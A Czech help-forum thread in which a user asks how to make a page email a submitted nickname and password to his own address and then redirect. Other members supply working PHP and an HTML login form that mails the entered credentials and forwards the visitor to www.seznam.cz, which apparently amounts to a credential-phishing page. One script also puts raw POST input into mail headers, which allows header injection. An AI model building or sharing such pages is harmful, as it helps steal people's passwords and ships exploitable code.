Přidat otázku mezi oblíbenéZasílat nové odpovědi e-mailem Jak přesměrovat stránku

Zdravím mám 2 soubory (viz soubor + konec příspěvku) , jedná se o zasílání hesla na e-mail (mám jen pro svou vlastní potřebu ). Potřebuji předělat až když to provede požadovanou akci aby se stránka automaticky přesměrovala... Kam mam co vložit ? Poraďte prosím...

Druhý soubor se nazývá : Zkontroluj.php
a je v něm toto :
<? if ( Mail("xxxx@seznam.cz", Heslo, $prezdivka, $heslo))
echo "<b>xxxxx</b>";
else echo "<b>xxxx</b>"; ?>

Nemusí zde být nic napsáno jen aby to přesměrovalo na jinou stránku...

Předmět Autor Datum
header("Location: index.php"); popr. pokud jiz existuje hlavicka souboru vvypsat script echo "<scri…
Swix 15.09.2012 21:32
Swix
Nefunguje to a řek bych že si mě nepochopil
hodan134 15.09.2012 23:30
hodan134
Asi ne, podle toho co píšeš chceš po vykonání něčeho (odeslání mailu) přesměrovat někam jinam (index…
Swix 15.09.2012 23:40
Swix
zkopíruj to moje a skus to tam vložit, např s adresou seznam.cz
hodan134 15.09.2012 23:44
hodan134
1) v index.php máte action formuláře nastavené na zkontroluj.php, a tady uvádíte, že druhý soubor je…
navay 16.09.2012 03:56
navay
Tak jsem to skusil a vypadá to tedy takto : Mail("xxxxx@seznam.cz", "Heslo", $prezdivka."/".$heslo)…
hodan134 16.09.2012 09:06
hodan134
poptřípadně stačí aby ukládalo do souboru na serveru
hodan134 16.09.2012 09:11
hodan134
.
hodan134 16.09.2012 11:55
hodan134
mail() musíš dát mezi <?php a ?> tzn: <?php Mail("xxxxx@seznam.cz", "Heslo", $prezdivka."/".$heslo…
Swix 16.09.2012 12:08
Swix
Když se přihlásím tak místo přesměrování to napíše toto : (viz obrázek) ... Co dál ?....
hodan13 16.09.2012 12:14
hodan13
Ještě tam chybí středník, za fcí mail: <?php Mail("xxxxx@seznam.cz", "Heslo", $prezdivka."/".$heslo…
navay 16.09.2012 13:19
navay
takže stránka se přesměruje, na email ale přijde pouze toto : / - nic víc.... i když tam něco zadám…
hodan134 16.09.2012 13:48
hodan134
??
hodan134 16.09.2012 16:22
hodan134
Máš načtené proměnné? tzn v tom souboru někde $promenna = $_POST['jmeno_inputu_ve_formulari'];
Swix 16.09.2012 17:41
Swix
ne, to tam není, kam to mam vložit, haoře je dyžtak ten soubor..
hodan134 16.09.2012 17:52
hodan134
Až na to že definovat proměnné musíš v souboru zkontroluj.php a ne v index.php
Gizzer 16.09.2012 17:58
Gizzer
aha, a to mam udělat jak ?
hodan134 16.09.2012 18:01
hodan134
Tak jak psal Swix Třeba takto $heslo = $_POST['heslo']; $prezdivka = $_POST['prezdivka']; Nebo po…
Gizzer 16.09.2012 18:04
Gizzer
použiji to první ale jak to tam mam upravit ?
hodan134 16.09.2012 18:25
hodan134
:-D Dej jsem prosím tě obsah celého toho souboru zkontroluj.php
Gizzer 16.09.2012 18:26
Gizzer
OK, předem děkuju - tady to je : <?php Mail("xxxx@seznam.cz", "Heslo", $prezdivka."/".$heslo); hea…
hodan134 16.09.2012 18:30
hodan134
Toto vlož celé do toho souboru zkontroluj.php a to tvoje původní smaž. <?php $to = "tvůj@email.cz";…
Gizzer 16.09.2012 18:39
Gizzer
skusím to
hodan134 16.09.2012 18:42
hodan134
Tak přesměrování funguje, email také přijde ale zase zcela prázdný
hodan134 16.09.2012 18:45
hodan134
Takže do index.php vlož tento formulář: <table style="height:100%;" width="100%" cellSpacing="0" ce…
Gizzer 16.09.2012 19:29
Gizzer
Mockát děkuju, funguje perféktně........
hodan134 16.09.2012 19:38
hodan134
:beer:
Gizzer 16.09.2012 19:39
Gizzer
Ještě jedna maličkost, stránku upravuji v programu NVU, když sem tam vložil ten formulář vše dobrý..…
hodan13 16.09.2012 19:52
hodan13
To už je myslím věc formátu kodování, u mě diakritika jde. poslední
Gizzer 17.09.2012 09:08
Gizzer

1) v index.php máte action formuláře nastavené na zkontroluj.php, a tady uvádíte, že druhý soubor je Zkontroluj.php, takže ten formulář odesíláte na neexistující soubor
2) v index.php máte

<input name="prezdivka" type="nick" />

, takový type neexistuje.
3) podívejte se na parametry funkce mail, výše uvedené vždy skončí minimálně jako FALSE, nebo chybou. Asi chcete dosáhnout něčeho podobného:

Mail("xxxx@seznam.cz", "Heslo", $prezdivka."/".$heslo)

4) před použitím fce header nesmí být žádný výstup, tedy žádné echo, prázdný řádek, nic.

Toto vlož celé do toho souboru zkontroluj.php a to tvoje původní smaž.

<?php
$to = "tvůj@email.cz"; //zde si dej tvůj email
$heslo = $_POST['heslo'];
$prezdivka = $_POST['prezdivka'];


$ok = @mail($to, $heslo, $prezdivka);
if ($ok) {  
  $bl="www.seznam.cz"; //Zde si dej adresu na jakou chceš aby to přesměrovávalo
					header("location: $bl"); ;
} else {
  echo "<p>Mail nemohl být odeslán!</p>";
}
?>

Snad nemám někde chybu

Takže do index.php vlož tento formulář:

<table style="height:100%;" width="100%" cellSpacing="0" cellPadding="0" border="0">
  <tr>
    <td align="center" valign="top">
      <form action="zkontroluj.php" method="post">
        <table  border="0" class="text">
          <tr><td>
              <center>
                <font face='Tahoma' size='4' color='#ffffff'><b>Uživatelské jméno:</b>
                </font></td><td>
              <input name="jmeno" accesskey="j" type="text"/></td>
          </tr>
          <tr><td>
              <center>
                <font face='Tahoma' size='4' color='#ffffff'><b>Heslo:</b>
                </font></td><td>
              <input name="heslo" accesskey="h" type="text"/></td>
          </tr>
          <tr>
            <td colspan="2" align="center">
              <input type="submit" class="button" value="Odeslat"/>
        </table>
      </form></td>
  </tr>
</table>

A do zkontroluj.php vlož toto:

<?php
$to = "tvůj@email";
$extra = "From: ".$_POST['email']."\r\nReply-To: ".$_POST['email']."\r\n";
$subject = "Vzkaz od ".$_POST['jmeno']."";
$mess = "Jméno: ".$_POST['jmeno']."\nEmail: ".$_POST['email']."";
mail ($to, $subject, $mess, $extra);
?>
<html>
  <head>
    <meta http-equiv="refresh" content="0; url=www.seznam.cz/">
    <title>Přesměrování...
    </title>
  </head>
  <body>
  </body>
</html>

Je to funkční viz.zde

Zpět do poradny Odpovědět na původní otázku Nahoru